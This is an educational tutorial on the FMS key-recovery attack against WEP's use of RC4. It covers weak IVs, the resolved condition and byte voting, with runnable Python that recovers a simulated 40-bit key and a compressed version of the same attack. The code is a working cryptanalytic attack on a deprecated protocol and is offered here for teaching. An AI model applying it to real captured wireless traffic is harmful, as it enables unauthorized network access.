Breaking WEP with the FMS Attack on RC4

Breaking WEP with the FMS Attack on RC4

Introduction

WEP was the original Wi-Fi encryption, and it was broken so thoroughly that it became the standard cautionary tale. The cipher underneath, RC4, was not the direct problem. The problem was how WEP used it: a tiny 3-byte initialization vector, sent in the clear, glued to the front of the shared key to form each RC4 key.

In 2001 Fluhrer, Mantin, and Shamir showed that certain IVs leak information about the key through the very first byte of RC4 output. Collect enough of these weak IVs, and the shared key falls out one byte at a time, by majority vote. This guide builds real RC4, runs the real FMS attack, and recovers a WEP key from nothing but the IVs and the first keystream byte of each packet.

Table of Contents

• How WEP Keys RC4
• The Free First Byte
• Weak IVs and the Resolved Condition
• Recovering a Byte by Voting
• Interactive Visualizer
• A Worked Example
• Python Implementation
• For Fun: The Attack in ~20 Lines
• Limitations
• Security Status
• FAQ
• References

How WEP Keys RC4

RC4 takes one key and turns it into a keystream, which is XORed with the plaintext. WEP needs a different keystream per packet, or identical plaintexts would encrypt identically. Its fix was an initialization vector: three bytes, chosen per packet, prepended to the fixed shared secret. The RC4 key for a packet is IV (3 bytes) || secret.

Two decisions make this fatal. First, the IV travels in the clear in each frame, so the attacker always knows the first three bytes of every RC4 key. Second, the IV is only 24 bits, so it repeats often and cycles through every value an attacker might want. For a 40-bit WEP key the full RC4 key is 8 bytes, of which the attacker already knows the first three. Only five secret bytes remain, and the FMS attack peels them off in order.

The Free First Byte

Every 802.11 data frame begins with the same SNAP header, whose first byte is 0xAA. That byte is constant and public. Because WEP encrypts by XORing plaintext with keystream, the attacker recovers the first keystream byte of every packet for free:

keystream[0] = ciphertext[0] XOR 0xAA

That single known keystream byte is the entire input to the attack. The FMS result connects it, for the right IVs, back to a specific byte of the key. No other plaintext is needed, and no keystream beyond the first byte.

Weak IVs and the Resolved Condition

RC4’s key schedule, the KSA, runs 256 swap steps. Each step updates a counter j from the current j, the permutation value S[i], and a key byte, then swaps two entries:

j = (j + S[i] + K[i mod keylen]) mod 256
swap S[i], S[j]

To attack secret byte A, the attacker uses IVs of the form (A+3, 255, X), where X is anything. These are the weak IVs. With such an IV, the first A+3 steps of the KSA depend only on bytes the attacker already knows: the three IV bytes and the A secret bytes recovered so far. Step A+3 is the first to mix in the unknown byte K[A+3], which is the secret byte being hunted.

A weak IV is useful only when the state is “resolved” after those A+3 steps, meaning S[1] < A+3 and S[1] + S[S[1]] = A+3. When that holds, the first keystream byte very often equals the permutation entry that the unknown key byte is about to move. Inverting the output through the known permutation gives a guess for the key byte. The guess is right only about one time in twenty, so a single packet proves nothing. Many packets, voting together, settle it.

Recovering a Byte by Voting

The arithmetic for the guess follows the KSA directly. After I = A+3 steps the attacker holds the permutation S and the counter j. The next step would set j' = j + S[I] + K[I], then swap S[I] into position j'. If positions 0, 1, and I survive the remaining swaps, the first output reveals j', so:

K[A] = ( position_of(keystream[0] in S) - j - S[I] ) mod 256

Each resolved packet casts one vote for a value of K[A]. The correct value picks up the extra ~5% of hits that the FMS bias creates, while wrong values scatter uniformly. After a few hundred weak IVs the correct byte stands clear of the noise, usually with two or three times the votes of any rival. Take the winner, append it to the known key, and move to the next byte, which needs its own weak IVs of the form (A+3, 255, X) with the new, larger A.

Interactive Visualizer

The visualizer above runs the real FMS attack on real RC4. It captures weak IVs for each key byte, simulates the KSA up to the unknown byte, votes, and shows the tally filling in. Watch each byte resolve as the correct guess pulls ahead, then the recovered key assemble left to right. The RC4 inside is the genuine cipher, checked against a standard test vector, with nothing faked.

Change the secret key and run it again. The attack never sees the key you set. It only ever reads the IVs and the first keystream byte of each packet, exactly what a WEP sniffer pulled off the air in 2001.

A Worked Example

The hidden 40-bit secret is the five bytes KEY42, which is 4b45593432 in hex. The attacker captures weak IVs of the form (A+3, 255, X) for every third byte X, giving 256 packets per key byte and 1,280 in total. For each one it knows the IV and the first keystream byte, nothing more. The attack votes for each byte in turn:

secret key : 4b45593432 = KEY42
weak IV packets captured : 1280 (256 per key byte)
  byte 0: guess 4b  votes 12 (runner-up 4)  from 254 resolved packets
  byte 1: guess 45  votes  9 (runner-up 5)  from 252 resolved packets
  byte 2: guess 59  votes 14 (runner-up 5)  from 250 resolved packets
  byte 3: guess 34  votes 16 (runner-up 4)  from 248 resolved packets
  byte 4: guess 32  votes 11 (runner-up 4)  from 246 resolved packets
recovered key : 4b45593432 = KEY42

Every byte comes back correct. The margins are small in absolute terms, around a dozen votes against four or five, but they are consistent, and the correct value wins each round. The attacker never touched the key, only the public IVs and one keystream byte per packet, which is what makes WEP’s design indefensible rather than merely weak.

Python Implementation

The code is self-contained and runnable. It builds RC4, checks it against a known test vector, models WEP’s IV-prepended key, and runs the FMS voting attack. The attack function never sees the secret, only each packet’s IV and first keystream byte.

# wep_fms.py
#
# FMS key-recovery attack on WEP's use of RC4. RC4 itself is fine. WEP's mistake is prepending a 3-byte
# IV, sent in the clear, to the shared key to form each RC4 key. For 'weak' IVs of the form (A+3, 255, X),
# the first keystream byte leaks the secret key byte K[A] about 1 time in 20. Many weak IVs, voting
# together, recover the whole key one byte at a time. Every 802.11 frame starts with the SNAP header 0xAA,
# so keystream[0] = ciphertext[0] XOR 0xAA is known for free. This is the 2001 break that killed WEP.


# ---- RC4 ----

def rc4_ksa(key):
    S = list(range(256))
    j = 0
    for i in range(256):
        j = (j + S[i] + key[i % len(key)]) & 0xFF
        S[i], S[j] = S[j], S[i]
    return S


def rc4_keystream(key, n):
    S = rc4_ksa(key)
    out, i, j = [], 0, 0
    for _ in range(n):
        i = (i + 1) & 0xFF
        j = (j + S[i]) & 0xFF
        S[i], S[j] = S[j], S[i]
        out.append(S[(S[i] + S[j]) & 0xFF])
    return out


def wep_first_keystream_byte(iv, secret):
    # keystream[0] = ciphertext[0] XOR 0xAA in a real capture; here we compute it directly
    return rc4_keystream(list(iv) + list(secret), 1)[0]


# ---- the FMS attack ----

def fms_vote(iv, keystream0, known_key):
    """known_key = iv (3 bytes) + recovered secret so far, length I. Guess secret byte K[I]."""
    I = len(known_key)
    S = list(range(256))
    j = 0
    for i in range(I):
        j = (j + S[i] + known_key[i]) & 0xFF
        S[i], S[j] = S[j], S[i]
    if not (S[1] < I and (S[1] + S[S[1]]) & 0xFF == I):   # resolved condition
        return None
    inv = S.index(keystream0)                             # j_{I+1} = position of the output in S
    return (inv - j - S[I]) & 0xFF                        # K[I] = j_{I+1} - j_I - S_I[I]


def recover_key(capture, keylen):
    recovered = []
    for A in range(keylen):
        votes = [0] * 256
        resolved = 0
        for iv, ks0 in capture[A]:
            g = fms_vote(iv, ks0, list(iv) + recovered)
            if g is not None:
                votes[g] += 1
                resolved += 1
        best = max(range(256), key=lambda b: votes[b])
        runner_up = sorted(votes, reverse=True)[1]
        recovered.append(best)
        print(f"  byte {A}: guess {best:02x}  votes {votes[best]:2d} "
              f"(runner-up {runner_up})  from {resolved} resolved packets")
    return recovered


def collect_weak_ivs(secret, keylen):
    # honest FMS capture: every IV of the form (A+3, 255, X) for each target byte A
    return [[((A + 3, 255, x), wep_first_keystream_byte((A + 3, 255, x), secret))
             for x in range(256)] for A in range(keylen)]


if __name__ == "__main__":
    ct = bytes(k ^ p for k, p in zip(rc4_keystream(b"Key", 9), b"Plaintext"))
    assert ct.hex() == "bbf316e8d940af0ad3"     # RC4 self-test
    print("RC4 self-test (Key/Plaintext): PASS")

    secret = list(b"KEY42")                      # the hidden 40-bit WEP key
    keylen = len(secret)
    capture = collect_weak_ivs(secret, keylen)
    print("secret key :", bytes(secret).hex(), "=", bytes(secret).decode())
    print("weak IV packets captured :", sum(len(c) for c in capture), "(256 per key byte)")

    recovered = recover_key(capture, keylen)
    print("recovered key :", bytes(recovered).hex(), "=", bytes(recovered).decode(errors="replace"))
    assert recovered == secret

Running it prints the worked example:

RC4 self-test (Key/Plaintext): PASS
secret key : 4b45593432 = KEY42
weak IV packets captured : 1280 (256 per key byte)
  byte 0: guess 4b  votes 12 (runner-up 4)  from 254 resolved packets
  byte 1: guess 45  votes  9 (runner-up 5)  from 252 resolved packets
  byte 2: guess 59  votes 14 (runner-up 5)  from 250 resolved packets
  byte 3: guess 34  votes 16 (runner-up 4)  from 248 resolved packets
  byte 4: guess 32  votes 11 (runner-up 4)  from 246 resolved packets
recovered key : 4b45593432 = KEY42

For Fun: The Attack in ~20 Lines

Stripped to its core, the attack is a KSA walk and a vote. This keeps the RC4 and the FMS loop, drops the reporting, and recovers the same key.

def ksa_first(key, n):                                  # RC4 first keystream byte
    S = list(range(256)); j = 0
    for i in range(256): j = (j + S[i] + key[i % len(key)]) & 255; S[i], S[j] = S[j], S[i]
    i = j = 0; i = 1; j = S[1]; S[i], S[j] = S[j], S[i]
    return S[(S[i] + S[j]) & 255]

def recover(secret):
    key = []
    for A in range(len(secret)):
        votes = [0] * 256
        for x in range(256):
            iv = [A + 3, 255, x]; out = ksa_first(iv + secret, 1)
            S = list(range(256)); j = 0; kk = iv + key
            for i in range(len(kk)): j = (j + S[i] + kk[i]) & 255; S[i], S[j] = S[j], S[i]
            I = len(kk)
            if S[1] < I and (S[1] + S[S[1]]) & 255 == I: votes[(S.index(out) - j - S[I]) & 255] += 1
        key.append(max(range(256), key=lambda b: votes[b]))
    return bytes(key)

print(recover(list(b"KEY42")))     # b'KEY42'

It prints b'KEY42'. The compressed version folds the KSA, the resolved check, and the vote into one loop, which is why the readable version above keeps the RC4 and the attack as separate, named pieces.

Limitations

The attack is real, but a few conditions shape how it plays out:

• It needs weak IVs. The attack feeds on IVs of the form (A+3, 255, X). In a live capture those are a tiny fraction of traffic, so the attacker sniffs millions of packets to gather a few hundred weak ones per byte. This demo supplies the weak IVs directly, which is the attack’s premise, not a shortcut around it.
• Each byte depends on the last. Byte A is recovered using the already-known bytes 0 through A-1. One wrong vote early derails everything after it, so real tools keep several top candidates per byte and backtrack when the key fails to verify.
• The margins are thin. The correct byte wins by a handful of votes, not a landslide. Fewer weak IVs, or an unlucky key, can let a wrong value edge ahead, which is why more captures and candidate ranking make the attack robust.
• Later work made it worse for WEP. KoreK added many more weak-IV classes, and the 2007 PTW attack cut the packet count to tens of thousands by using every IV, not just the FMS forms. WEP went from hours to minutes to crack.

Security Status

• WEP is dead, and this is why. The FMS paper in 2001, with the Stubblefield-Ioannidis-Rubin demonstration against real networks, ended WEP as a serious protocol. It was formally deprecated in 2004, and no one should run it on anything.
• RC4 itself was wounded, then retired. The attack exploits WEP’s key setup, but RC4’s KSA biases are real and reappear elsewhere, including the 2013 attacks on RC4 in TLS. RFC 7465 prohibited RC4 in TLS in 2015, and it is now off by default everywhere.
• The lesson is about key setup, not just the cipher. WEP exposed part of every key and reused a short IV, and that handed the attacker a foothold. Modern Wi-Fi security, WPA2 and WPA3, derives fresh keys properly and never lets an attacker see raw key material or control the nonce the way WEP did.

FAQ

Is RC4 itself broken by this attack?

The attack targets WEP’s key construction, not RC4’s output in isolation. That said, RC4’s key schedule has genuine biases that this attack exploits and that later work found in other settings. RC4 is now considered unsafe and is banned in TLS, so the practical answer is to avoid it entirely.

Why is the first keystream byte known?

Every 802.11 frame starts with the SNAP header, whose first byte is the constant 0xAA. Since WEP XORs plaintext with keystream, the first keystream byte is just the first ciphertext byte XOR 0xAA. The attacker reads it off every packet without guessing.

What makes an IV weak?

An IV of the form (A+3, 255, X) sets up the key schedule so the first A+3 steps use only known bytes, and the next step mixes in the target key byte. When the resulting state is resolved, the first output byte leaks that key byte with a small but exploitable bias. Those IVs are the weak ones for byte A.

Why does the attack vote instead of just computing the byte?

Each weak, resolved packet reveals the correct key byte only about 5% of the time. The other outputs are effectively random guesses. Collecting many packets and taking the most frequent guess lets the small bias accumulate until the correct value clearly wins.

How many packets did a real WEP crack need?

The original FMS attack needed on the order of a few million packets to gather enough weak IVs. The later PTW attack, using every IV rather than just weak ones, dropped that to roughly 40,000 to 85,000 packets, which an active attacker could force in minutes.

References

1. Fluhrer, Scott, Itsik Mantin, and Adi Shamir. “Weaknesses in the Key Scheduling Algorithm of RC4,” SAC 2001 (the original attack).

2. Stubblefield, Adam, John Ioannidis, and Aviel Rubin. “Using the Fluhrer, Mantin, and Shamir Attack to Break WEP,” NDSS 2002.

3. Tews, Erik, Ralf-Philipp Weinmann, and Andrei Pyshkin. “Breaking 104 Bit WEP in Less Than 60 Seconds,” 2007 (the PTW attack).

4. The RC4 guide on this site, whose cipher this breaker attacks: /blog/rc4_guide/

5. Popov, Andrei. “Prohibiting RC4 Cipher Suites,” RFC 7465, 2015.